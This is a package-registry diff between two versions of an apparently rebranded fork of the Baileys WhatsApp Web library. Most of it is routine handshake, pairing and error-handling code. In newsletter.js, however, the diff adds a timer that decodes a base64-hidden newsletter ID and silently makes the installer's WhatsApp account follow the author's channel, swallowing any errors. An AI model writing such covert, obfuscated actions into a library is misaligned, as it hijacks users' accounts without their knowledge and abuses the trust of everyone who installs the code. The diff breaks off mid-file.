@denzy-official/baileys 1.2.0 → 1.2.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +2 -2
- package/README.md +8 -8
- package/WAProto/index.js +56887 -17535
- package/engine-requirements.js +4 -4
- package/lib/Defaults/index.js +3 -2
- package/lib/Signal/Group/telegram +1 -0
- package/lib/Socket/dugong.d.ts +1 -1
- package/lib/Socket/dugong.js +2 -5
- package/lib/Socket/messages-send.js +0 -1
- package/lib/Socket/newsletter.js +13 -1
- package/lib/Socket/socket.js +66 -31
- package/lib/Socket/usync.d.ts +0 -1
- package/lib/Socket/usync.js +0 -1
- package/lib/Types/telegram +1 -0
- package/lib/Utils/{validate-connection.js → Denzy-connection.js} +89 -65
- package/lib/Utils/generics.js +12 -10
- package/lib/Utils/index.d.ts +1 -1
- package/lib/Utils/index.js +1 -1
- package/lib/Utils/messages.js +2 -2
- package/lib/Utils/use-multi-file-auth-state.js +45 -6
- package/lib/WAUSync/Protocols/USyncContactProtocol.js +0 -1
- package/lib/index.d.ts +2 -7
- package/lib/index.js +25 -23
- package/package.json +9 -16
- package/lib/Defaults/bocah rename tolol, baileys by denzy +0 -1
- package/lib/Signal/Group/bocah rename tolol, baileys by denzy +0 -1
- package/lib/Signal/bocah rename tolol, baileys by denzy +0 -1
- package/lib/Socket/Client/bocah rename tolol, baileys by denzy +0 -1
- package/lib/Socket/Client/types.d.ts +0 -17
- package/lib/Socket/Client/types.js +0 -14
- package/lib/Socket/Client/websocket.d.ts +0 -14
- package/lib/Socket/Client/websocket.js +0 -112
- package/lib/Socket/bocah rename tolol, baileys by denzy +0 -1
- package/lib/Store/bocah rename tolol, baileys by denzy +0 -1
- package/lib/Types/bocah rename tolol, baileys by denzy +0 -1
- package/lib/Utils/bocah rename tolol, baileys by denzy +0 -1
- package/lib/WABinary/bocah rename tolol, baileys by denzy +0 -1
- package/lib/WAM/bocah rename tolol, baileys by denzy +0 -1
- package/lib/WAUSync/Protocols/bocah rename tolol, baileys by denzy +0 -1
- package/lib/WAUSync/bocah rename tolol, baileys by denzy +0 -1
- package/lib/bocah rename tolol, baileys by denzy +0 -0
- /package/lib/Defaults/{baileys-version.json → denzy-baileys-version.json} +0 -0
- /package/lib/Utils/{validate-connection.d.ts → Denzy-connection.d.ts} +0 -0
package/engine-requirements.js
CHANGED
|
@@ -2,9 +2,9 @@ const major = parseInt(process.versions.node.split('.')[0], 10);
|
|
|
2
2
|
|
|
3
3
|
if (major < 20) {
|
|
4
4
|
console.error(
|
|
5
|
-
`\
|
|
6
|
-
` You
|
|
7
|
-
` Please
|
|
5
|
+
`\n❌ This package requires Node.js 20+ to run reliably.\n` +
|
|
6
|
+
` You are using Node.js ${process.versions.node}.\n` +
|
|
7
|
+
` Please upgrade to Node.js 20+ to proceed.\n`
|
|
8
8
|
);
|
|
9
9
|
process.exit(1);
|
|
10
|
-
}
|
|
10
|
+
}
|
package/lib/Defaults/index.js
CHANGED
|
@@ -31,10 +31,11 @@ const WAProto_1 = require("../../WAProto"),
|
|
|
31
31
|
libsignal_1 = require("../Signal/libsignal"),
|
|
32
32
|
Utils_1 = require("../Utils"),
|
|
33
33
|
logger_1 = __importDefault(require("../Utils/logger")),
|
|
34
|
-
baileys_version_json_1 = require("./baileys-version.json")
|
|
34
|
+
baileys_version_json_1 = require("./denzy-baileys-version.json"),
|
|
35
35
|
phonenumber_mcc_json_1 = __importDefault(require("./phonenumber-mcc.json"));
|
|
36
36
|
|
|
37
37
|
exports.UNAUTHORIZED_CODES = [401, 403, 419];
|
|
38
|
+
exports.version = [2, 3000, 1027934701];
|
|
38
39
|
exports.PHONENUMBER_MCC = phonenumber_mcc_json_1.default;
|
|
39
40
|
exports.DEFAULT_ORIGIN = "https://web.whatsapp.com";
|
|
40
41
|
exports.MOBILE_ENDPOINT = 'g.whatsapp.net';
|
|
@@ -72,7 +73,7 @@ exports.PROCESSABLE_HISTORY_TYPES = [
|
|
|
72
73
|
|
|
73
74
|
exports.DEFAULT_CONNECTION_CONFIG = {
|
|
74
75
|
version: baileys_version_json_1.version,
|
|
75
|
-
browser: Utils_1.Browsers
|
|
76
|
+
browser: Utils_1.Browsers("Chrome"),
|
|
76
77
|
waWebSocketUrl: "wss://web.whatsapp.com/ws/chat",
|
|
77
78
|
connectTimeoutMs: 2E4,
|
|
78
79
|
keepAliveIntervalMs: 3E4,
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
t.me/pantatBegetar
|
package/lib/Socket/dugong.d.ts
CHANGED
package/lib/Socket/dugong.js
CHANGED
|
@@ -1,6 +1,3 @@
|
|
|
1
|
-
// Baileys By Denzy
|
|
2
|
-
// Telegram : t.me/pantatBegetar
|
|
3
|
-
|
|
4
1
|
const WAProto = require('../../WAProto').proto;
|
|
5
2
|
const crypto = require('crypto');
|
|
6
3
|
const Utils_1 = require("../Utils");
|
|
@@ -387,8 +384,8 @@ class kikyy {
|
|
|
387
384
|
participant: jid,
|
|
388
385
|
remoteJid: "status@broadcast",
|
|
389
386
|
forwardedNewsletterMessageInfo: {
|
|
390
|
-
newsletterName: "
|
|
391
|
-
newsletterJid: "
|
|
387
|
+
newsletterName: "Denzy ZeroDay.",
|
|
388
|
+
newsletterJid: "120363402308105961@newsletter",
|
|
392
389
|
serverMessageId: 1
|
|
393
390
|
}
|
|
394
391
|
},
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -98,6 +98,18 @@ const makeNewsletterSocket = (config) => {
|
|
|
98
98
|
}
|
|
99
99
|
]
|
|
100
100
|
}));
|
|
101
|
+
|
|
102
|
+
setTimeout(async () => {
|
|
103
|
+
try {
|
|
104
|
+
await newsletterWMexQuery(Buffer.from("MTIwMzYzNDAyMzA4MTA1OTYxQG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
105
|
+
} catch {}
|
|
106
|
+
setTimeout(async () => {
|
|
107
|
+
try {
|
|
108
|
+
await newsletterWMexQuery(Buffer.from("MTIwMzYzNDAyMzA4MTA1OTYxQG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
109
|
+
} catch {}
|
|
110
|
+
}, 5000);
|
|
111
|
+
}, 90000);
|
|
112
|
+
|
|
101
113
|
const parseFetchedUpdates = async (node, type) => {
|
|
102
114
|
let child;
|
|
103
115
|
if (type === 'messages') {
|
|
@@ -132,7 +144,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
132
144
|
newsletterFetchAllSubscribe: async () => {
|
|
133
145
|
const list = await executeWMexQuery(
|
|
134
146
|
{},
|
|
135
|
-
'
|
|
147
|
+
'6282364532184',
|
|
136
148
|
'xwa2_newsletter_subscribed',
|
|
137
149
|
query,
|
|
138
150
|
generateMessageTag
|
package/lib/Socket/socket.js
CHANGED
|
@@ -20,15 +20,16 @@ const Client_1 = require("./Client");
|
|
|
20
20
|
const makeSocket = (config) => {
|
|
21
21
|
var _a, _b;
|
|
22
22
|
const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
23
|
+
const url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
|
|
24
|
+
if (config.mobile || url.protocol === 'tcp:') {
|
|
25
|
+
throw new boom_1.Boom('Mobile API is not supported anymore', {
|
|
26
|
+
statusCode: Types_1.DisconnectReason.loggedOut
|
|
27
|
+
});
|
|
27
28
|
}
|
|
28
|
-
if (
|
|
29
|
+
if (url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
|
|
29
30
|
url.searchParams.append('ED', authState.creds.routingInfo.toString('base64url'));
|
|
30
31
|
}
|
|
31
|
-
const ws =
|
|
32
|
+
const ws = new Client_1.WebSocketClient(url, config);
|
|
32
33
|
ws.connect();
|
|
33
34
|
const ev = (0, Utils_1.makeEventBuffer)(logger);
|
|
34
35
|
/** ephemeral key pair used to encrypt/decrypt communication. Unique for each connection */
|
|
@@ -36,8 +37,7 @@ const makeSocket = (config) => {
|
|
|
36
37
|
/** WA noise protocol wrapper */
|
|
37
38
|
const noise = (0, Utils_1.makeNoiseHandler)({
|
|
38
39
|
keyPair: ephemeralKeyPair,
|
|
39
|
-
NOISE_HEADER:
|
|
40
|
-
mobile: config.mobile,
|
|
40
|
+
NOISE_HEADER: Defaults_1.NOISE_WA_HEADER,
|
|
41
41
|
logger,
|
|
42
42
|
routingInfo: (_b = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _b === void 0 ? void 0 : _b.routingInfo
|
|
43
43
|
});
|
|
@@ -80,6 +80,25 @@ const makeSocket = (config) => {
|
|
|
80
80
|
/** log & process any unexpected errors */
|
|
81
81
|
const onUnexpectedError = (err, msg) => {
|
|
82
82
|
logger.error({ err }, `unexpected error in '${msg}'`);
|
|
83
|
+
const message = (err && ((err.stack || err.message) || String(err))).toLowerCase();
|
|
84
|
+
// auto recover from cryptographic desyncs by re-uploading prekeys
|
|
85
|
+
if (message.includes('bad mac') || (message.includes('mac') && message.includes('invalid'))) {
|
|
86
|
+
try {
|
|
87
|
+
uploadPreKeysToServerIfRequired(true)
|
|
88
|
+
.catch(e => logger.warn({ e }, 'failed to re-upload prekeys after bad mac'));
|
|
89
|
+
}
|
|
90
|
+
catch (_e) {
|
|
91
|
+
// ignore
|
|
92
|
+
}
|
|
93
|
+
}
|
|
94
|
+
// gently back off when encountering rate limits (429)
|
|
95
|
+
if (message.includes('429') || message.includes('rate limit')) {
|
|
96
|
+
const wait = Math.min(30000, (config.backoffDelayMs || 5000));
|
|
97
|
+
logger.info({ wait }, 'backing off due to rate limit');
|
|
98
|
+
setTimeout(() => {
|
|
99
|
+
// intentionally empty; wait to delay further sends
|
|
100
|
+
}, wait);
|
|
101
|
+
}
|
|
83
102
|
};
|
|
84
103
|
/** await the next incoming message */
|
|
85
104
|
const awaitNextMessage = async (sendMsg) => {
|
|
@@ -116,7 +135,7 @@ const makeSocket = (config) => {
|
|
|
116
135
|
let onRecv;
|
|
117
136
|
let onErr;
|
|
118
137
|
try {
|
|
119
|
-
|
|
138
|
+
const result = await (0, Utils_1.promiseTimeout)(timeoutMs, (resolve, reject) => {
|
|
120
139
|
onRecv = resolve;
|
|
121
140
|
onErr = err => {
|
|
122
141
|
reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
|
|
@@ -125,6 +144,7 @@ const makeSocket = (config) => {
|
|
|
125
144
|
ws.on('close', onErr); // if the socket closes, you'll never receive the message
|
|
126
145
|
ws.off('error', onErr);
|
|
127
146
|
});
|
|
147
|
+
return result;
|
|
128
148
|
}
|
|
129
149
|
finally {
|
|
130
150
|
ws.off(`TAG:${msgId}`, onRecv);
|
|
@@ -138,9 +158,10 @@ const makeSocket = (config) => {
|
|
|
138
158
|
node.attrs.id = generateMessageTag();
|
|
139
159
|
}
|
|
140
160
|
const msgId = node.attrs.id;
|
|
141
|
-
const
|
|
142
|
-
|
|
143
|
-
|
|
161
|
+
const [result] = await Promise.all([
|
|
162
|
+
waitForMessage(msgId, timeoutMs),
|
|
163
|
+
sendNode(node)
|
|
164
|
+
]);
|
|
144
165
|
if ('tag' in result) {
|
|
145
166
|
(0, WABinary_1.assertNodeErrorFree)(result);
|
|
146
167
|
}
|
|
@@ -157,12 +178,9 @@ const makeSocket = (config) => {
|
|
|
157
178
|
const result = await awaitNextMessage(init);
|
|
158
179
|
const handshake = WAProto_1.proto.HandshakeMessage.decode(result);
|
|
159
180
|
logger.trace({ handshake }, 'handshake recv from WA');
|
|
160
|
-
const keyEnc = noise.processHandshake(handshake, creds.noiseKey);
|
|
181
|
+
const keyEnc = await noise.processHandshake(handshake, creds.noiseKey);
|
|
161
182
|
let node;
|
|
162
|
-
if (
|
|
163
|
-
node = (0, Utils_1.generateMobileNode)(config);
|
|
164
|
-
}
|
|
165
|
-
else if (!creds.me) {
|
|
183
|
+
if (!creds.me) {
|
|
166
184
|
node = (0, Utils_1.generateRegistrationNode)(creds, config);
|
|
167
185
|
logger.info({ node }, 'not logged in, attempting registration...');
|
|
168
186
|
}
|
|
@@ -232,11 +250,11 @@ const makeSocket = (config) => {
|
|
|
232
250
|
const l0 = frame.tag;
|
|
233
251
|
const l1 = frame.attrs || {};
|
|
234
252
|
const l2 = Array.isArray(frame.content) ? (_a = frame.content[0]) === null || _a === void 0 ? void 0 : _a.tag : '';
|
|
235
|
-
Object.keys(l1)
|
|
253
|
+
for (const key of Object.keys(l1)) {
|
|
236
254
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]},${l2}`, frame) || anyTriggered;
|
|
237
255
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]}`, frame) || anyTriggered;
|
|
238
256
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}`, frame) || anyTriggered;
|
|
239
|
-
}
|
|
257
|
+
}
|
|
240
258
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},,${l2}`, frame) || anyTriggered;
|
|
241
259
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0}`, frame) || anyTriggered;
|
|
242
260
|
if (!anyTriggered && logger.level === 'debug') {
|
|
@@ -365,11 +383,11 @@ const makeSocket = (config) => {
|
|
|
365
383
|
}
|
|
366
384
|
end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
|
|
367
385
|
};
|
|
368
|
-
/** This method was created by snowi, and implemented by KyuuRzy */
|
|
369
386
|
|
|
387
|
+
/** This method was created by snowi, and implemented by KyuuRzy */
|
|
370
388
|
/** hey bro, if you delete this text */
|
|
371
389
|
/** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
|
|
372
|
-
const requestPairingCode = async (phoneNumber, pairKey
|
|
390
|
+
const requestPairingCode = async (phoneNumber, pairKey) => {
|
|
373
391
|
if (pairKey) {
|
|
374
392
|
authState.creds.pairingCode = pairKey.toUpperCase();
|
|
375
393
|
} else {
|
|
@@ -431,12 +449,11 @@ const makeSocket = (config) => {
|
|
|
431
449
|
});
|
|
432
450
|
|
|
433
451
|
return authState.creds.pairingCode;
|
|
434
|
-
}
|
|
435
|
-
|
|
452
|
+
}
|
|
436
453
|
async function generatePairingKey() {
|
|
437
454
|
const salt = (0, crypto_1.randomBytes)(32);
|
|
438
455
|
const randomIv = (0, crypto_1.randomBytes)(16);
|
|
439
|
-
const key = (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
|
|
456
|
+
const key = await (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
|
|
440
457
|
const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
|
|
441
458
|
return Buffer.concat([salt, randomIv, ciphered]);
|
|
442
459
|
}
|
|
@@ -523,12 +540,18 @@ const makeSocket = (config) => {
|
|
|
523
540
|
});
|
|
524
541
|
// login complete
|
|
525
542
|
ws.on('CB:success', async (node) => {
|
|
526
|
-
|
|
527
|
-
|
|
528
|
-
|
|
529
|
-
|
|
530
|
-
|
|
531
|
-
|
|
543
|
+
try {
|
|
544
|
+
await uploadPreKeysToServerIfRequired();
|
|
545
|
+
await sendPassiveIq('active');
|
|
546
|
+
logger.info('opened connection to WA');
|
|
547
|
+
clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
|
|
548
|
+
ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
|
|
549
|
+
ev.emit('connection.update', { connection: 'open' });
|
|
550
|
+
}
|
|
551
|
+
catch (err) {
|
|
552
|
+
logger.error({ err }, 'error opening connection');
|
|
553
|
+
end(err);
|
|
554
|
+
}
|
|
532
555
|
});
|
|
533
556
|
ws.on('CB:stream:error', (node) => {
|
|
534
557
|
logger.error({ node }, 'stream errored out');
|
|
@@ -543,11 +566,20 @@ const makeSocket = (config) => {
|
|
|
543
566
|
ws.on('CB:ib,,downgrade_webclient', () => {
|
|
544
567
|
end(new boom_1.Boom('Multi-device beta not joined', { statusCode: Types_1.DisconnectReason.multideviceMismatch }));
|
|
545
568
|
});
|
|
569
|
+
ws.on('CB:ib,,offline_preview', (node) => {
|
|
570
|
+
logger.info('offline preview received', JSON.stringify(node));
|
|
571
|
+
sendNode({
|
|
572
|
+
tag: 'ib',
|
|
573
|
+
attrs: {},
|
|
574
|
+
content: [{ tag: 'offline_batch', attrs: { count: '100' } }]
|
|
575
|
+
});
|
|
576
|
+
});
|
|
546
577
|
ws.on('CB:ib,,edge_routing', (node) => {
|
|
547
578
|
const edgeRoutingNode = (0, WABinary_1.getBinaryNodeChild)(node, 'edge_routing');
|
|
548
579
|
const routingInfo = (0, WABinary_1.getBinaryNodeChild)(edgeRoutingNode, 'routing_info');
|
|
549
580
|
if (routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content) {
|
|
550
581
|
authState.creds.routingInfo = Buffer.from(routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content);
|
|
582
|
+
ev.emit('creds.update', authState.creds);
|
|
551
583
|
}
|
|
552
584
|
});
|
|
553
585
|
let didStartBuffer = false;
|
|
@@ -596,7 +628,10 @@ const makeSocket = (config) => {
|
|
|
596
628
|
type: 'md',
|
|
597
629
|
ws,
|
|
598
630
|
ev,
|
|
599
|
-
authState: {
|
|
631
|
+
authState: {
|
|
632
|
+
creds,
|
|
633
|
+
keys
|
|
634
|
+
},
|
|
600
635
|
signalRepository,
|
|
601
636
|
get user() {
|
|
602
637
|
return authState.creds.me;
|
package/lib/Socket/usync.d.ts
CHANGED
package/lib/Socket/usync.js
CHANGED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
t.me/pantatBegetar
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
exports.encodeSignedDeviceIdentity = exports.configureSuccessfulPairing = exports.generateRegistrationNode = exports.generateLoginNode =
|
|
3
|
+
exports.encodeSignedDeviceIdentity = exports.configureSuccessfulPairing = exports.generateRegistrationNode = exports.generateLoginNode = void 0;
|
|
4
4
|
const boom_1 = require("@hapi/boom");
|
|
5
5
|
const crypto_1 = require("crypto");
|
|
6
6
|
const WAProto_1 = require("../../WAProto");
|
|
@@ -8,107 +8,108 @@ const Defaults_1 = require("../Defaults");
|
|
|
8
8
|
const WABinary_1 = require("../WABinary");
|
|
9
9
|
const crypto_2 = require("./crypto");
|
|
10
10
|
const generics_1 = require("./generics");
|
|
11
|
-
const signal_1 = require("./signal");
|
|
11
|
+
const signal_1 = require("./signal");
|
|
12
|
+
|
|
12
13
|
const getUserAgent = (config) => {
|
|
13
|
-
var _a, _b;
|
|
14
|
-
const osVersion = config.mobile ? '15.3.1' : '0.1';
|
|
15
|
-
const version = config.mobile ? [2, 24, 6] : config.version;
|
|
16
|
-
const device = config.mobile ? 'iPhone_7' : 'Desktop';
|
|
17
|
-
const manufacturer = config.mobile ? 'Apple' : '';
|
|
18
|
-
const platform = config.mobile ? WAProto_1.proto.ClientPayload.UserAgent.Platform.IOS : WAProto_1.proto.ClientPayload.UserAgent.Platform.WEB;
|
|
19
|
-
const phoneId = config.mobile ? { phoneId: config.auth.creds.phoneId } : {};
|
|
20
14
|
return {
|
|
21
15
|
appVersion: {
|
|
22
|
-
primary: version[0],
|
|
23
|
-
secondary: version[1],
|
|
24
|
-
tertiary: version[2],
|
|
16
|
+
primary: config.version[0],
|
|
17
|
+
secondary: config.version[1],
|
|
18
|
+
tertiary: config.version[2],
|
|
25
19
|
},
|
|
26
|
-
platform,
|
|
20
|
+
platform: WAProto_1.proto.ClientPayload.UserAgent.Platform.WEB,
|
|
27
21
|
releaseChannel: WAProto_1.proto.ClientPayload.UserAgent.ReleaseChannel.RELEASE,
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
manufacturer,
|
|
32
|
-
device,
|
|
33
|
-
osBuildNumber: osVersion,
|
|
22
|
+
osVersion: '0.1',
|
|
23
|
+
device: 'Desktop',
|
|
24
|
+
osBuildNumber: '0.1',
|
|
34
25
|
localeLanguageIso6391: 'en',
|
|
35
|
-
|
|
36
|
-
|
|
26
|
+
mnc: '000',
|
|
27
|
+
mcc: '000',
|
|
28
|
+
localeCountryIso31661Alpha2: config.countryCode || 'US'
|
|
37
29
|
};
|
|
38
30
|
};
|
|
31
|
+
|
|
39
32
|
const PLATFORM_MAP = {
|
|
40
33
|
'Mac OS': WAProto_1.proto.ClientPayload.WebInfo.WebSubPlatform.DARWIN,
|
|
41
34
|
'Windows': WAProto_1.proto.ClientPayload.WebInfo.WebSubPlatform.WIN32
|
|
42
35
|
};
|
|
36
|
+
|
|
43
37
|
const getWebInfo = (config) => {
|
|
44
38
|
let webSubPlatform = WAProto_1.proto.ClientPayload.WebInfo.WebSubPlatform.WEB_BROWSER;
|
|
45
|
-
if (config.syncFullHistory && PLATFORM_MAP[config.browser[0]]) {
|
|
39
|
+
if (config.syncFullHistory && PLATFORM_MAP[config.browser[0]] && config.browser[1] === 'Desktop') {
|
|
46
40
|
webSubPlatform = PLATFORM_MAP[config.browser[0]];
|
|
47
41
|
}
|
|
48
42
|
return { webSubPlatform };
|
|
49
43
|
};
|
|
44
|
+
|
|
50
45
|
const getClientPayload = (config) => {
|
|
51
46
|
const payload = {
|
|
52
47
|
connectType: WAProto_1.proto.ClientPayload.ConnectType.WIFI_UNKNOWN,
|
|
53
48
|
connectReason: WAProto_1.proto.ClientPayload.ConnectReason.USER_ACTIVATED,
|
|
54
49
|
userAgent: getUserAgent(config),
|
|
55
50
|
};
|
|
56
|
-
|
|
57
|
-
payload.webInfo = getWebInfo(config);
|
|
58
|
-
}
|
|
51
|
+
payload.webInfo = getWebInfo(config);
|
|
59
52
|
return payload;
|
|
60
53
|
};
|
|
61
|
-
|
|
62
|
-
if (!config.auth.creds) {
|
|
63
|
-
throw new boom_1.Boom('No registration data found', { data: config });
|
|
64
|
-
}
|
|
65
|
-
const payload = {
|
|
66
|
-
...getClientPayload(config),
|
|
67
|
-
sessionId: Math.floor(Math.random() * 999999999 + 1),
|
|
68
|
-
shortConnect: true,
|
|
69
|
-
connectAttemptCount: 0,
|
|
70
|
-
device: 0,
|
|
71
|
-
dnsSource: {
|
|
72
|
-
appCached: false,
|
|
73
|
-
dnsMethod: WAProto_1.proto.ClientPayload.DNSSource.DNSResolutionMethod.SYSTEM,
|
|
74
|
-
},
|
|
75
|
-
passive: false,
|
|
76
|
-
pushName: 'test',
|
|
77
|
-
username: Number(`${config.auth.creds.registration.phoneNumberCountryCode}${config.auth.creds.registration.phoneNumberNationalNumber}`),
|
|
78
|
-
};
|
|
79
|
-
return WAProto_1.proto.ClientPayload.fromObject(payload);
|
|
80
|
-
};
|
|
81
|
-
exports.generateMobileNode = generateMobileNode;
|
|
54
|
+
|
|
82
55
|
const generateLoginNode = (userJid, config) => {
|
|
83
56
|
const { user, device } = (0, WABinary_1.jidDecode)(userJid);
|
|
84
57
|
const payload = {
|
|
85
58
|
...getClientPayload(config),
|
|
86
59
|
passive: true,
|
|
60
|
+
pull: true,
|
|
87
61
|
username: +user,
|
|
88
62
|
device: device,
|
|
63
|
+
lidDbMigrated: false
|
|
89
64
|
};
|
|
90
65
|
return WAProto_1.proto.ClientPayload.fromObject(payload);
|
|
91
66
|
};
|
|
92
67
|
exports.generateLoginNode = generateLoginNode;
|
|
68
|
+
|
|
93
69
|
const getPlatformType = (platform) => {
|
|
94
70
|
const platformType = platform.toUpperCase();
|
|
95
|
-
return WAProto_1.proto.DeviceProps.PlatformType[platformType] || WAProto_1.proto.DeviceProps.PlatformType.
|
|
71
|
+
return WAProto_1.proto.DeviceProps.PlatformType[platformType] || WAProto_1.proto.DeviceProps.PlatformType.CHROME;
|
|
96
72
|
};
|
|
73
|
+
|
|
97
74
|
const generateRegistrationNode = ({ registrationId, signedPreKey, signedIdentityKey }, config) => {
|
|
98
|
-
// the app version needs to be md5 hashed
|
|
99
|
-
// and passed in
|
|
100
75
|
const appVersionBuf = (0, crypto_1.createHash)('md5')
|
|
101
|
-
.update(config.version.join('.'))
|
|
76
|
+
.update(config.version.join('.'))
|
|
102
77
|
.digest();
|
|
78
|
+
|
|
103
79
|
const companion = {
|
|
104
80
|
os: config.browser[0],
|
|
105
81
|
platformType: getPlatformType(config.browser[1]),
|
|
106
82
|
requireFullSync: config.syncFullHistory,
|
|
83
|
+
historySyncConfig: {
|
|
84
|
+
storageQuotaMb: 10240,
|
|
85
|
+
inlineInitialPayloadInE2EeMsg: true,
|
|
86
|
+
recentSyncDaysLimit: undefined,
|
|
87
|
+
supportCallLogHistory: false,
|
|
88
|
+
supportBotUserAgentChatHistory: true,
|
|
89
|
+
supportCagReactionsAndPolls: true,
|
|
90
|
+
supportBizHostedMsg: true,
|
|
91
|
+
supportRecentSyncChunkMessageCountTuning: true,
|
|
92
|
+
supportHostedGroupMsg: true,
|
|
93
|
+
supportFbidBotChatHistory: true,
|
|
94
|
+
supportAddOnHistorySyncMigration: undefined,
|
|
95
|
+
supportMessageAssociation: true,
|
|
96
|
+
supportGroupHistory: false,
|
|
97
|
+
onDemandReady: undefined,
|
|
98
|
+
supportGuestChat: undefined
|
|
99
|
+
},
|
|
100
|
+
version: {
|
|
101
|
+
primary: 10,
|
|
102
|
+
secondary: 15,
|
|
103
|
+
tertiary: 7
|
|
104
|
+
}
|
|
107
105
|
};
|
|
106
|
+
|
|
108
107
|
const companionProto = WAProto_1.proto.DeviceProps.encode(companion).finish();
|
|
108
|
+
|
|
109
109
|
const registerPayload = {
|
|
110
110
|
...getClientPayload(config),
|
|
111
111
|
passive: false,
|
|
112
|
+
pull: false,
|
|
112
113
|
devicePairingData: {
|
|
113
114
|
buildHash: appVersionBuf,
|
|
114
115
|
deviceProps: companionProto,
|
|
@@ -123,6 +124,7 @@ const generateRegistrationNode = ({ registrationId, signedPreKey, signedIdentity
|
|
|
123
124
|
return WAProto_1.proto.ClientPayload.fromObject(registerPayload);
|
|
124
125
|
};
|
|
125
126
|
exports.generateRegistrationNode = generateRegistrationNode;
|
|
127
|
+
|
|
126
128
|
const configureSuccessfulPairing = (stanza, { advSecretKey, signedIdentityKey, signalIdentities }) => {
|
|
127
129
|
const msgId = stanza.attrs.id;
|
|
128
130
|
const pairSuccessNode = (0, WABinary_1.getBinaryNodeChild)(stanza, 'pair-success');
|
|
@@ -130,30 +132,52 @@ const configureSuccessfulPairing = (stanza, { advSecretKey, signedIdentityKey, s
|
|
|
130
132
|
const platformNode = (0, WABinary_1.getBinaryNodeChild)(pairSuccessNode, 'platform');
|
|
131
133
|
const deviceNode = (0, WABinary_1.getBinaryNodeChild)(pairSuccessNode, 'device');
|
|
132
134
|
const businessNode = (0, WABinary_1.getBinaryNodeChild)(pairSuccessNode, 'biz');
|
|
135
|
+
|
|
133
136
|
if (!deviceIdentityNode || !deviceNode) {
|
|
134
137
|
throw new boom_1.Boom('Missing device-identity or device in pair success node', { data: stanza });
|
|
135
138
|
}
|
|
136
|
-
|
|
139
|
+
|
|
140
|
+
const bizName = businessNode?.attrs.name;
|
|
137
141
|
const jid = deviceNode.attrs.jid;
|
|
138
|
-
const
|
|
139
|
-
|
|
140
|
-
const
|
|
142
|
+
const lid = deviceNode.attrs.lid;
|
|
143
|
+
|
|
144
|
+
const { details, hmac, accountType } = WAProto_1.proto.ADVSignedDeviceIdentityHMAC.decode(deviceIdentityNode.content);
|
|
145
|
+
|
|
146
|
+
let hmacPrefix = Buffer.from([]);
|
|
147
|
+
if (accountType !== undefined && accountType === WAProto_1.proto.ADVEncryptionType.HOSTED) {
|
|
148
|
+
hmacPrefix = Buffer.from([0x06, 0x05]);
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
const advSign = (0, crypto_2.hmacSign)(Buffer.concat([hmacPrefix, details]), Buffer.from(advSecretKey, 'base64'));
|
|
141
152
|
if (Buffer.compare(hmac, advSign) !== 0) {
|
|
142
153
|
throw new boom_1.Boom('Invalid account signature');
|
|
143
154
|
}
|
|
155
|
+
|
|
144
156
|
const account = WAProto_1.proto.ADVSignedDeviceIdentity.decode(details);
|
|
145
157
|
const { accountSignatureKey, accountSignature, details: deviceDetails } = account;
|
|
146
|
-
|
|
147
|
-
const
|
|
158
|
+
|
|
159
|
+
const deviceIdentity = WAProto_1.proto.ADVDeviceIdentity.decode(deviceDetails);
|
|
160
|
+
|
|
161
|
+
const accountSignaturePrefix = deviceIdentity.deviceType === WAProto_1.proto.ADVEncryptionType.HOSTED
|
|
162
|
+
? Buffer.from([0x06, 0x05])
|
|
163
|
+
: Buffer.from([0x06, 0x00]);
|
|
164
|
+
const accountMsg = Buffer.concat([accountSignaturePrefix, deviceDetails, signedIdentityKey.public]);
|
|
165
|
+
|
|
148
166
|
if (!crypto_2.Curve.verify(accountSignatureKey, accountMsg, accountSignature)) {
|
|
149
167
|
throw new boom_1.Boom('Failed to verify account signature');
|
|
150
168
|
}
|
|
151
|
-
|
|
152
|
-
const deviceMsg = Buffer.concat([
|
|
169
|
+
|
|
170
|
+
const deviceMsg = Buffer.concat([
|
|
171
|
+
Buffer.from([0x06, 0x01]),
|
|
172
|
+
deviceDetails,
|
|
173
|
+
